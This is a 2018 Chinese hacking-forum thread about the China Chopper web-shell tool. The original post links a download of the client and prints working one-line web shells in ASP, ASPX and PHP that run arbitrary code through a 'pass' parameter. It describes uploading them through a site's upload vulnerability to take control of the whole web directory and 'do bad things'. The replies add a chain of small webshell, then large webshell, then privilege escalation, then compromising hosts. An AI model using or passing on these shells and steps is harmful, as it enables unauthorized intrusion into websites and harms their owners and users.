51Testing软件测试论坛

 找回密码
 (注-册)加入51Testing

QQ登录

只需一步,快速开始

测试开发精英班,通向高级软件测试工程师【长期招募】博为峰网校招聘兼职讲师!【直播预售】接口测试行业大佬带你从青铜上王者一站式软件测试平台
【第97期】:如何设计搭建自动化测试框架!【专题】安全测试中的王牌工具—Wireshark 《51测试天地》分享测试经验赚稿费! 自学软件测试那点事
查看: 542|回复: 3

中国菜刀与一句话木马

[复制链接]

该用户从未签到

发表于 2018-7-12 14:27:11 | 显示全部楼层 |阅读模式
本帖最后由 大路路 于 2018-7-12 14:37 编辑

中国菜刀下载地址:   http://pan.baidu.com/share/link?shareid=871753024&uk=388464620
一.基本操作:
往目标网站中加入一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录
二.实战
asp的一句话是:
<%eval request ("pass")%>
aspx的一句话是:
<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
php的一句话是:
<?php @eval($_POST['pass']);?>
我们可以直接将这些语句插入到网站上的某个asp/aspx/php文件上,或者直接创建一个新的文件,在里面写入这些语句,然后把文件上传到网站上即可。
下面举个小例子:

然后假设我们有个智障网站有这样的漏洞:

我们把这个lubr.php上传上去后,打开chopper.exe

接到这个网址下我们的菜刀文件上,右键点击文件管理,就可以获取整个网站的目录了~然后就可以开始做坏事。
来源:CSDN

相关教程推荐:

http://www.atstudy.com/course/767

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?(注-册)加入51Testing

x
回复

使用道具 举报

  • TA的每日心情
    开心
    2018-7-13 14:04
  • 签到天数: 6 天

    连续签到: 1 天

    [LV.2]测试排长

    发表于 2018-7-13 14:09:02 | 显示全部楼层
    网站上传漏洞吗。以前用挖掘机工具,可以挖到。然后,上传asp小马,之后访问小马,插入大马提权。
    就可以拿下,后台权限了。
    至于能不能拿下肉机,看水平了。
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2018-9-5 13:44
  • 签到天数: 2 天

    连续签到: 1 天

    [LV.1]测试小兵

    发表于 2018-7-16 11:41:03 | 显示全部楼层
    17800455 发表于 2018-7-13 14:09
    网站上传漏洞吗。以前用挖掘机工具,可以挖到。然后,上传asp小马,之后访问小马,插入大马提权。
    就可以 ...

    挖掘机拿站是历史了,现在上传漏洞更多的是看绕过技巧,当然也有批量
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2018-9-5 13:44
  • 签到天数: 2 天

    连续签到: 1 天

    [LV.1]测试小兵

    发表于 2018-7-16 11:41:11 | 显示全部楼层
    17800455 发表于 2018-7-13 14:09
    网站上传漏洞吗。以前用挖掘机工具,可以挖到。然后,上传asp小马,之后访问小马,插入大马提权。
    就可以 ...

    挖掘机拿站是历史了,现在上传漏洞更多的是看绕过技巧,当然也有批量
    回复 支持 反对

    使用道具 举报

    本版积分规则

    关闭

    站长推荐上一条 /2 下一条

    小黑屋|手机版|Archiver|51Testing软件测试网 ( 沪ICP备05003035号 关于我们

    GMT+8, 2018-11-19 19:37 , Processed in 0.062816 second(s), 25 queries .

    Powered by Discuz! X3.2

    © 2001-2018 Comsenz Inc.

    快速回复 返回顶部 返回列表